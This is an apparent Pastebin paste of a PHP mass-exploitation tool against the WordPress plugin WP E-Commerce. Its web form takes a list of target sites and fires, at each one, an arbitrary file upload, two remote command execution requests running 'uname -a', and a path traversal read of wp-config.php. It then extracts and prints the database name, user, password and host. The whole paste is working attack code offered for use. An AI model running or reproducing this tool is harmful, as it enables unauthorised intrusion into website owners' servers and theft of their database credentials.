Advertisement
AZZATSSINS_CYBERSERK

WP E-Commerce

Jun 27th, 2016
350
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.68 KB | None | 0 0
  1. <html>
  2. <title>WP E-COMMERCE</title>
  3. <body bgcolor=silver><center><div style=background:black;margin:0px;padding:4px;text-align:center;color:silver;><i><b><font color=lime>&copy; </font><a href=mailto:cyberserkers@gmail.com>AZZATSSINS CYBERSERKERS</a></b></i></div><br><br>
  4.     <form method='POST'>
  5.     <textarea name='sites' cols='45' rows='15'></textarea>
  6. <br>
  7.     _______________________________________________________________
  8. <br><input style="background:dodgerblue;margin:0px;width:15%;padding:0px;color:#fff;border:0;font-weight:bold;" value="EXECUTE" type="submit"><br><br><br>
  9.     </form>
  10. <?php
  11. @set_time_limit(0);
  12. $sites = explode("\r\n", $_POST['sites']);
  13. foreach($sites as $target) {
  14. $target = trim($target);
  15. /*AFU*/
  16.  /*
  17.   - file : save-data.functions.php
  18.   - lines : 486.. 504
  19.  
  20.   line : 500
  21.  
  22.   move_uploaded_file( $_FILES['image']['tmp_name'], $new_image_path );
  23.  
  24.  */
  25.  
  26.  $headers = array("Content-Type: application/octet-stream",
  27.  "Content-Disposition: form-data; name=\"image\"; file=\"lol.gif\"");
  28.  
  29.  $uploadfile="AZZATSSINS WAS HERE";
  30.  
  31.  $ch = curl_init($target."/wp-e-commerce/wpsc-admin/includes/save-
  32. data.functions.php");
  33.  curl_setopt($ch, CURLOPT_POST, true);
  34.  curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows
  35. NT 5.0)");
  36.  curl_setopt($ch, CURLOPT_POSTFIELDS, array('image'=>"@$uploadfile"));
  37.  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  38.  curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
  39.  $postResult = curl_exec($ch);
  40.  curl_close($ch);
  41.  print "$postResult";
  42. /*RCE 1*/
  43.  /*
  44.   - file : ajax.php
  45.   - lines : 38 , 41 , 57
  46.  
  47.   $callback = "_wpsc_ajax_{$ajax_action}";
  48.   call_user_func $result = call_user_func($callback);
  49.   $ajax_action = str_replace('-', '_', $_REQUEST['wpsc_action']);
  50.  
  51.  */
  52.  
  53.  $ch = curl_init();
  54.  curl_setopt($ch, CURLOPT_URL, $target."/wp-e-commerce/wpsc-admin/
  55. ajax.php?wpsc_action=uname+-a");
  56.  curl_setopt($ch, CURLOPT_HTTPGET, 1);
  57.  curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows
  58. NT 5.0)");
  59.  curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
  60.  $buf = curl_exec ($ch);
  61.  curl_close($ch);
  62.  unset($ch);
  63.  echo $buf;
  64. /*RCE 2*/
  65.  /*
  66.   - file : display-sales-logs.php
  67.   - line : 23
  68.  
  69.   $controller = $_REQUEST['c'];
  70.  
  71.  */
  72.  $ch = curl_init();
  73.  curl_setopt($ch, CURLOPT_URL, $target."/wp-e-commerce/wpsc-admin/
  74. display-sales-logs.php?c=uname+-a");
  75.  curl_setopt($ch, CURLOPT_HTTPGET, 1);
  76.  curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows
  77. NT 5.0)");
  78.  curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
  79.  $buf = curl_exec ($ch);
  80.  curl_close($ch);
  81.  unset($ch);
  82.  echo $buf;
  83. /*LFI/LFD*/
  84.  /*
  85.   - file: misc.functions.php
  86.   - lines : 280 .. 355
  87.  
  88.  * multiple bug in function imagecreatefromgif() , you can use any param's to
  89. exploit it.
  90.  
  91.  * param's : [ image_name , category_id , wpsc_request_image , productid ,
  92. image_id ]
  93.  
  94.  */
  95.  
  96.  $ch = curl_init();
  97.  curl_setopt($ch, CURLOPT_URL, $target."/wp-e-commerce/wpsc-includes/
  98. misc.functions.php?image_name=../../../wp-config.php");
  99.  curl_setopt($ch, CURLOPT_HTTPGET, 1);
  100.  curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows
  101. NT 5.0)");
  102.  curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
  103.  $xp = curl_exec ($ch);
  104.  curl_close($ch);
  105.  unset($ch);
  106.  if(preg_match("#DB_USER#i",$xp)){
  107. preg_match("#'DB_NAME', '(.*?)'#i",$xp,$DB_NAME);
  108. echo "DB_NAME:{$DB_NAME[1]}<br>";
  109. preg_match("#'DB_USER', '(.*?)'#i",$xp,$DB_USER);
  110. echo "DB_USER:{$DB_USER[1]}<br>";
  111. preg_match("#'DB_PASSWORD', '(.*?)'#i",$xp,$DB_PASSWORD);
  112. echo "DB_PASSWORD:{$DB_PASSWORD[1]}<br>";
  113. preg_match("#'DB_HOST', '(.*?)'#i",$xp,$DB_HOST);
  114. echo "DB_HOST:{$DB_HOST[1]}<br>";
  115. }
  116.  }
  117.  ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement